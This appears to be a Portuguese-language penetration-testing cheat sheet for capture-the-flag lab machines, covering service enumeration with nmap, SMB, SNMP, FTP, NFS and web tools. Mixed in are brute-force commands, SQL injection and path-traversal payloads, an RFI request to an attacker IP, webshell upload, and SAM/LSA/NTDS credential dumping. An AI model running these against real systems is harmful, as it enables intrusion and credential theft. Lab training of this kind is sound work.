Skip to content

Port & Service Enumeration

Linux

NMAP - Enumeração de Portas e Serviços

# Definir IP alvo
export IP=10.10.11.28

# TCP - Reconhecimento inicial com scripts e detecção de versão
sudo nmap -Pn -n $IP -sC -sV -p- --open -oN nmap/recon

# UDP - Top 100 portas com motivo de resposta
sudo nmap -Pn -n $IP -sU --top-ports=100 --reason -oN nmap/udp-ports -v

# Full TCP scan (todas as 65535 portas)
nmap -p- --min-rate 10000 $IP

# TCP Connect Scan (quando -sS está bloqueado)
nmap -sT -p- --min-rate 5000 -oA nmap/alltcp $IP

# Após identificação de portas específicas
nmap -p 22,80,3000 -sC -sV -oA scans/scripts $IP

# Scan inicial rápido
nmap -sV -sC -oA nmap/initial $IP

# Detecção de sistema operacional
sudo nmap -O --osscan-guess -p 22,80,443 $IP -oN nmap/os-detection

# Detecção de versão detalhada
sudo nmap -sV --version-all -p 22,80,443 $IP -oN nmap/version-details

# Nmap completo TCP
nmap -sT -p- --min-rate 10000 -oA nmap/alltcp 10.10.10.117

# Nmap completo UDP
nmap -sU -p- --min-rate 10000 -oA nmap/alludp 10.10.10.117

# Nmap com scripts e portas específicas
nmap -sC -sV -p 22,80,1111,6697,8067,65534 -oA nmap/scripts 10.10.10.117

# Rustscan - porta rápida + integração com Nmap
rustscan --addresses 192.168.189.125 --ulimit 5000 -- -A -sC -Pn -sV -T 1500

SMB

# Acessar o compartilhamento SMB
smbclient //IP/SHARE -U 'usuario'
smbclient \\\\192.168.120.125\\Commander -p 12445

# Após o login no prompt do smbclient, execute:
prompt OFF     # desativa confirmação para cada arquivo
recurse ON     # ativa recursividade para baixar diretórios
mget *         # baixa todos os arquivos e pastas do share

# Acesso anônimo - listar shares disponíveis
smbclient -L //$IP -N

# Enumeração completa via enum4linux-ng
enum4linux-ng -A $IP

# Nmap com scripts SMB
nmap --script smb-enum-shares.nse,smb-enum-users.nse -p 139,445 $IP -oN nmap/smb-enum

SNMP PORT 161 UDP

## SNMP - Enumeração e Brute-force

# SNMP básico com community string "public"
snmpwalk -v2c -c public 10.10.11.193

# Tentativa com outra community string
time snmpwalk -v2c -c internal 10.10.11.193

# Bulk SNMP
time snmpbulkwalk -v2c -c internal 10.10.11.193

# Brute-force SNMP community strings com script Python
python /opt/SNMP-Brute/snmpbrute.py -t 10.10.11.193

WEB - Enumeração e Exploração

# Gobuster - root da porta 80
gobuster dir -u http://10.10.10.88 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,php,html -o gobuster/port80root.txt

# Gobuster - diretório webservices
gobuster dir -u http://10.10.10.88/webservices -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,php,html -t 30 -o gobuster/port80webservices.txt

# Gobuster - diretório raiz de outro host
gobuster dir -u http://10.10.10.6 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o scans/gobuster-root-med -t 40

# Gobuster - extensão php em lista menor
gobuster dir -u http://10.10.10.143 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php -o scans/gobuster-80-root-php -t 40

# Gobuster - com wordlist lowercase
gobuster dir -u http://10.10.10.68 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt

# Feroxbuster - raiz mentorquotes.htb
feroxbuster -u http://mentorquotes.htb

# Feroxbuster - API com métodos GET/POST
feroxbuster -u http://api.mentorquotes.htb --no-recursion --methods GET,POST

# Feroxbuster - diretório admin na API
feroxbuster -u http://api.mentorquotes.htb/admin/ --no-recursion --methods GET,POST

# Feroxbuster - domínio devvortex.htb com extensão html
feroxbuster -u http://devvortex.htb -x html

# FFUF - subdomínios de usage.htb
ffuf -u http://10.10.11.18 -H "Host: FUZZ.usage.htb" -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -ac

# FFUF - subdomínios de mentorquotes.htb
ffuf -u http://10.10.11.193 -H "Host: FUZZ.mentorquotes.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fw 18 -mc all

# FFUF - subdomínios de devvortex.htb
ffuf -u http://10.10.11.242 -H 'Host: FUZZ.devvortex.htb' -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -mc all -ac

# WPScan - enumeração de plugins, temas e usuários
wpscan -u http://10.10.10.88/webservices/wp/ --enumerate p,t,u | tee wpscan.log

# LFI via plugin do WordPress
curl -s "http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://10.10.15.99/"

# SQLMAP - automatizado em parâmetro 'cod'
sqlmap -u http://10.10.10.143/room.php?cod=1

# SQLi manual - testando quantidade de colunas com UNION
# Exemplo: http://10.10.10.143/room.php?cod=100 UNION SELECT 1,2,3,4,5,6,7;-- -

# Listar bancos
# SELECT 1, group_concat(schema_name), 3, 4, 5, 6, 7 FROM information_schema.schemata;-- -

# Tabelas no DB 'hotel'
# SELECT 1, group_concat(table_name), 3, 4, 5, 6, 7 FROM information_schema.tables WHERE table_schema='hotel';-- -

# Colunas da tabela 'room'
# SELECT 1, group_concat(column_name), 3, 4, 5, 6, 7 FROM information_schema.columns WHERE table_name='room';-- -

# Usuários do MySQL
# SELECT 1, user,3, 4,password, 6, 7 FROM mysql.user;-- -

# Teste simples de SQLi em formulários
# Enviar `'` e observar se há erro 500
# Tentar: ' or 1=1 limit 1;-- -
# Gera: select * from users where email = '' or 1=1;-- -';

Windows

NMAP

# Defina o IP alvo antes de iniciar
export IP=10.10.10.95

# init 
sudo nmap -Pn -n $IP -sC -sV -p- --open -oN nmap/recon
sudo nmap -Pn -n $IP -sU --top-ports=100 --reason -oN nmap/udp-ports -v

# Reconhecimento inicial com scripts e detecção de versão, portas abertas e sem DNS
sudo nmap -Pn -n $IP -sC -sV -p- --open -oN nmap/recon

# Top 100 portas UDP com motivos de resposta
sudo nmap -Pn -n $IP -sU --top-ports=100 --reason -oN nmap/udp-ports -v

# Full TCP Scan – todas as 65535 portas TCP
nmap -p- --min-rate 10000 -oA nmap/alltcp $IP

# Alternativa com TCP Connect Scan (-sT), útil se estiver sem root ou tentando contornar firewalls
nmap -sT -p- --min-rate 10000 -oA nmap/alltcp $IP

# TCP Scan com número mínimo de tentativas (para hosts que dropam conexões agressivas)
nmap -sT -p- --min-rate 5000 --max-retries 1 $IP

# Full UDP Scan – identifica serviços como DNS, SNMP, NTP, etc.
nmap -sU -p- --min-rate 10000 -oA nmap/alludp $IP

# Enumeração detalhada com scripts padrão e detecção de versão
# Adapte as portas de acordo com o host: SMB, RPC, RDP, WinRM, etc.
nmap -p 80,135,445,3389,5985,49154 -sC -sV -oA nmap/scripts $IP  # Substitua ou adicione conforme necessário

# Scan básico sem definir portas (para recon inicial rápida)
nmap -sC -sV -oA nmap/initial $IP

FTP - Port 21

# Defina o IP alvo antes de iniciar
export IP=10.10.10.152

# Enumeração com Nmap – scripts úteis para FTP
# Verifica acesso anônimo, tipo de sistema e possíveis vulnerabilidades
nmap -p21 --script=ftp-anon,ftp-bounce,ftp-syst,ftp-vsftpd-backdoor -sV -oA nmap/ftp $IP

# Conexão manual via FTP utilizando acesso anônimo (sem senha)
ftp $IP

# Após conectar, usar:
# login: anonymous
# senha: (pressione Enter)

# Comandos úteis dentro do FTP:
# Listar arquivos e diretórios
ftp> dir

# Navegar entre diretórios
ftp> cd users\
ftp> cd Public

# Baixar arquivo sensível (ex: flag user.txt)
ftp> get user.txt

# Alternativa: baixar todo conteúdo FTP recursivamente
wget -r ftp://anonymous:@$IP

# Listar todos os arquivos baixados
find ftp/ -type f

# -------------------------------
# Técnicas adicionais em FTP
# -------------------------------

# 1. Brute-force de credenciais (caso o login anônimo não funcione)
# Testa combinações comuns de usuário e senha
hydra -l ftp -P /usr/share/wordlists/rockyou.txt ftp://$IP
medusa -h $IP -u ftp -P /usr/share/wordlists/rockyou.txt -M ftp

# 2. Upload de arquivos via FTP (se permitido)
# Pode ser usado para upload de webshell em servidores que hospedam sites
# Verifique permissões de escrita no diretório atual:
ftp> put shell.php

# 3. Verificar se diretórios web (ex: /inetpub/wwwroot) são acessíveis
ftp> cd inetpub
ftp> cd wwwroot
ftp> dir

# 4. FTP como vetor para LFI/RFI em conjunto com HTTP
# Enviar arquivos maliciosos via FTP e tentar incluí-los por HTTP (se houver LFI/RFI na aplicação)

# 5. FTP Bounce Attack (se suportado)
# Permite escanear outras máquinas da rede via FTP (pouco comum hoje)
nmap -p21 --script=ftp-bounce -v $IP

# 6. Identificação do sistema operacional remoto
# Muitas vezes o banner revela que é Windows, Linux, vsFTPd, etc.
# Pode ser útil para decidir próximos passos (ex: enumeração SMB ou HTTP)

SMB - Ports 137, 138, 139, 445

# Em redes legadas ou internas (Windows antigo), SMB costuma funcionar sobre NetBIOS (137-139).
# Em redes modernas, apenas a porta 445 é usada (SMBv2/v3), sem depender de NetBIOS.
# Para pentests, CTFs e enumeração, muitas ferramentas focam em 139 e 445,
# mas 137 e 138 são importantes em casos de resolução de nomes, descoberta via broadcast
# e ambientes com NetBIOS ativo.

# Defina o IP alvo antes de iniciar
export IP=10.10.10.125

# -------------------------------
# ENUMERAÇÃO ANÔNIMA OU SIMPLES
# -------------------------------

# Enumeração com smbclient sem autenticação
smbclient -N -L //$IP
# Retorno comum:
# session setup failed: NT_STATUS_ACCESS_DENIED

# Enumeração com smbmap
smbmap -H $IP
smbmap -H $IP -u null
smbmap -H $IP -u invaliduser

# Enumeração com netexec (fork temporário do CME)
netexec smb $IP -u guest -p ''
netexec smb $IP -u oxdf -p 'oxdf'

# Alternativa oficial e atual com crackmapexec
crackmapexec smb $IP -u guest -p ''
crackmapexec smb $IP -u oxdf -p 'oxdf'
crackmapexec smb $IP -u tony -p 'BeyondLakeBarber399' --shares

# Enumeração avançada com crackmapexec
crackmapexec smb $IP --shares                     # Enumera compartilhamentos
crackmapexec smb $IP --sessions                   # Lista sessões SMB ativas
crackmapexec smb $IP --users                      # Enumera usuários (se possível)
crackmapexec smb $IP -u '' -p '' --pass-pol       # Política de senha via null session
crackmapexec smb $IP -u tony -p 'BeyondLakeBarber399' --shares # Usando senha


# Nmap com NSE para SMB
nmap -p137,138,139,445 --script=smb-enum-shares,smb-enum-users,smb-os-discovery,smb-security-mode -oA nmap/smb $IP

# enum4linux-ng (moderno) ou enum4linux (legado)
enum4linux-ng -A $IP
enum4linux -a $IP

# nbtscan para identificar hostname e domínio NetBIOS
nbtscan $IP

# Null session com rpcclient (se permitido)
rpcclient -U "" $IP
# Comando útil:
# > enumdomusers

# Caso algum compartilhamento esteja acessível:
smbclient -N //$IP/share
# smb: \> dir
# smb: \> get arquivo.txt
# smb: \> exit

# -------------------------------
# BRUTE-FORCE DE CREDENCIAIS
# -------------------------------

# Brute-force com Hydra
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt $IP smb

# Brute-force com CrackMapExec (CME)
# Passo 1: gerar listas simples de usuários e senhas
echo 'admin' > users.txt
echo 'admin123' > passwords.txt

# Passo 2: executar brute-force com CME
crackmapexec smb $IP -u users.txt -p passwords.txt

# Verificação se o login funciona e se é administrador
crackmapexec smb $IP -u administrator -p 'senha123' --admin

# -------------------------------
# PÓS-EXPLORAÇÃO COM CREDENCIAIS VÁLIDAS
# -------------------------------

# Execução de comando remoto (implica privilégio)
crackmapexec smb $IP -u administrador -p 'senha123' --exec 'whoami'
crackmapexec smb $IP -u tony -p BeyondLakeBarber399 --exec-method smbexec -x 'whoami'

# Dump da SAM (requer privilégios)
crackmapexec smb $IP -u administrator -p 'senha123' --sam

# Dump da LSA secrets (requer privilégio)
crackmapexec smb $IP -u administrator -p 'senha123' --lsa

# Dump do NTDS.dit (para AD domain dump)
crackmapexec smb $IP -u administrator -p 'senha123' --ntds

# -------------------------------
# TESTES EM AMBIENTE WINDOWS
# -------------------------------

# Verificação de compartilhamentos no Windows (caso tenha shell)
net view $IP
# Possível retorno:
# System error 5 has occurred. Access is denied.

NFS - Port 2049

# NFS (Network File System) permite compartilhamento de diretórios em rede via RPC.
# Muito comum em ambientes Unix/Linux, mas quando mal configurado, pode permitir acesso completo a arquivos remotos.
# Porta padrão: 2049/TCP

# Defina o IP alvo antes de iniciar
export IP=10.10.10.180

# Verificar exportações públicas no servidor NFS (quais diretórios estão compartilhados)
showmount -e $IP

# Exemplo de retorno:
# Export list for 10.10.10.180:
# /site_backups (everyone)

# Montar diretório exportado localmente (requer pacote nfs-common)
mkdir -p /mnt/nfs
mount -t nfs $IP:/site_backups /mnt/nfs

# Navegar nos arquivos montados
cd /mnt/nfs
ls -la

# Examinar arquivos sensíveis com strings (útil em .sdf, .bak, .db, .xml, .config)
strings App_Data/Umbraco.sdf | head
# Exemplo de achado:
# adminadmin@htb.local: b8be16afba8c314ad33d812f22a04991b90e2aaa

# Desmontar o recurso remoto após análise
umount /mnt/nfs

# -------------------------------
# ENUMERAÇÃO COM NMAP
# -------------------------------

# Verificação do serviço e possíveis exportações
nmap -sV -p2049 --script=nfs-ls,nfs-showmount,nfs-statfs -oA nmap/nfs $IP

# Scripts úteis:
# nfs-showmount: lista exportações
# nfs-ls: tenta listar arquivos dentro das exportações
# nfs-statfs: mostra estatísticas de uso/disco

# -------------------------------
# ENUMERAÇÃO DE EXPORTAÇÕES E TESTES DE PERMISSÃO
# -------------------------------

# Testar manualmente permissão de escrita
touch /mnt/nfs/test.txt
echo "testando" > /mnt/nfs/test.txt
cat /mnt/nfs/test.txt
rm /mnt/nfs/test.txt

# -------------------------------
# OUTRAS TÉCNICAS
# -------------------------------

# 1. Usar brute-force de exportações com lista de caminhos (se "showmount -e" não mostrar nada)
# Lista de dicionário: /usr/share/seclists/Discovery/Web-Content/common.txt (adaptar para caminhos)
for path in $(cat paths.txt); do showmount -e $IP | grep "$path" && echo "[+] Encontrado: $path"; done

# 2. NFSMap (para descobrir exportações e permissões via script)
# https://github.com/mogozobo/nfsmap
python3 nfsmap.py $IP

# 3. Verificar UID/GID após montagem – pode herdar permissões se o servidor NFS não estiver bem configurado
ls -n /mnt/nfs

# 4. Possível escalonamento de privilégio:
# Se o NFS permitir escrita e o diretório montado for usado por serviços sensíveis (ex: scripts PHP, configurações),
# é possível sobrescrever arquivos e injetar comandos.

# 5. Alterar /etc/exports (em ambientes mal configurados com acesso root via NFS + permissões incorretas)
# Raro em CTFs, mas real em redes antigas/mal segmentadas.

# -------------------------------
# BOAS PRÁTICAS
# -------------------------------

# Sempre desmontar após uso
umount /mnt/nfs

HTTP/HTTPS - Ports 80, 443, 8080, 8443

# Essas portas geralmente expõem aplicações web em servidores, como Apache, Nginx ou IIS.
# Para análise de CTFs ou pentests, enumeração é fundamental para identificar aplicações, frameworks, painéis de login, e potenciais falhas.

# Defina o IP alvo antes de iniciar
export IP=10.10.10.125

# Descobrir o que está rodando e coletar banners
nmap -p80,443,8080,8443 -sC -sV -oA nmap/web $IP

# Detectar tecnologias (servidor, CMS, frameworks, etc.)
whatweb http://$IP
whatweb https://$IP

# Alternativa: wappalyzer via extensão no navegador

# Coletar metadados de cabeçalhos HTTP
curl -I http://$IP

# Acesso básico com o navegador ou via curl
curl http://$IP
curl -k https://$IP

# Descoberta de diretórios e arquivos
# Usar extensão .php, .aspx, .html, .txt se souber linguagem usada

# Gobuster:
gobuster dir -u http://$IP -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt -t 50 -o web/gobuster-http

gobuster dir -u https://$IP -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt -k -t 50 -o web/gobuster-https

# Feroxbuster:
feroxbuster -u http://$IP -x php,html,aspx,txt -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -t 50
feroxbuster -u https://$IP -x php,html,aspx,txt -k -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -t 50

# Dirsearch:
dirsearch -u http://$IP -e php,html,aspx,txt -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

# Verificar comportamento de erros com inputs inválidos (404, 403, 500)

# Testar vulnerabilidades conhecidas com searchsploit
searchsploit "nome do software" ou "nome do CMS"

# Identificar CMS usado na página:
# Exemplo: Umbraco → /umbraco
# Joomla → /administrator
# WordPress → /wp-login.php

# Baixar todo o conteúdo web com wget:
wget -r http://$IP

# Buscar por arquivos de configuração ou expostos
curl http://$IP/.git/config
curl http://$IP/backup.zip

# Analisar possíveis vulnerabilidades por parâmetros
# Testar LFI, RFI, SQLi, XSS, RCE, SSRF, etc.

# Exemplos:
curl http://$IP/index.php?page=../../../../etc/passwd

# Fuzz de parâmetros
ffuf -u http://$IP/index.php?FUZZ=test -w /usr/share/wordlists/dirb/common.txt -t 50

# Se identificar CMS, verificar por CVEs ou exploits específicos

# WordPress
wpscan --url http://$IP --enumerate u,t,vp,vt

# Joomla
joomscan --url http://$IP

# Drupal
droopescan scan drupal -u http://$IP

# Acesso por subdomínios ou virtual hosts
# (usar DNS spoofing ou /etc/hosts se não resolver)
echo "10.10.10.125 site.htb" >> /etc/hosts
curl http://site.htb

# Testar páginas de upload para possíveis RCEs
# (usar extensão .php, .asp, ou técnicas de bypass como filename.php.jpg ou double extensions)

# Observar resposta do servidor e permissões de execução

# Tecnologias web comuns e diretórios típicos:
# ColdFusion → /CFIDE
# Jenkins → /askjeeves, /jenkins
# Tomcat → /manager/html
# Umbraco → /Umbraco
# Gym Management System → /README.md, /admin.php
# Online Voting System → /admin, /login.php, /vote.php

# Outras técnicas úteis:

# Identificar framework ou CMS pelo conteúdo ou código-fonte
strings nos arquivos, comentários HTML, cookies, JS

# Busca por arquivos de interesse: backup, config, senhas, logs
curl http://$IP/.env
curl http://$IP/config.php

# Caso download.php ou outros scripts aceitem parâmetros:
curl http://$IP/download.php?file=../../../../etc/passwd
curl http://$IP/download.php?file=..\\..\\windows\\win.ini

# Caso haja login, testar com credenciais padrão:
admin:admin
admin:password
admin:123456

# E se falhar, usar hydra ou burpsuite para brute-force
hydra -l admin -P /usr/share/wordlists/rockyou.txt $IP http-post-form "/login.php:user=^USER^&pass=^PASS^:Invalid login"

# Importante: Sempre salvar os resultados com -o ou -oA

# Caso encontre um painel com formulário de contato, tente explorar SSRF ou envio de links maliciosos

# Se download.php permitir download arbitrário, tentar leitura de arquivos sensíveis

# Atenção ao comportamento de aplicações como:
# - SecureNotes (GET vulnerable)
# - hMailServer (hashes em arquivos .ini)
# - ColdFusion (vulnerabilidades conhecidas em CFIDE)
# - PRTG (login default prtgadmin/prtgadmin)

# Ferramentas auxiliares:
# - wafw00f → detectar WAF
# - nikto → scanner web geral
# - nuclei → scanner baseado em templates

# Exemplos com nuclei
nuclei -u http://$IP -t cves/
nuclei -u http://$IP -t vulnerabilities/

# Por fim, mantenha o navegador aberto com burpsuite para capturar interações em tempo real.

# Caso queira interagir com APIs:
curl -X GET http://$IP/api/endpoint -H "Authorization: Bearer <token>"

# Se precisar autenticar antes para testar a API:
curl -X POST -d "user=admin&pass=123" http://$IP/login.php -c cookies.txt
curl -b cookies.txt http://$IP/api/endpoint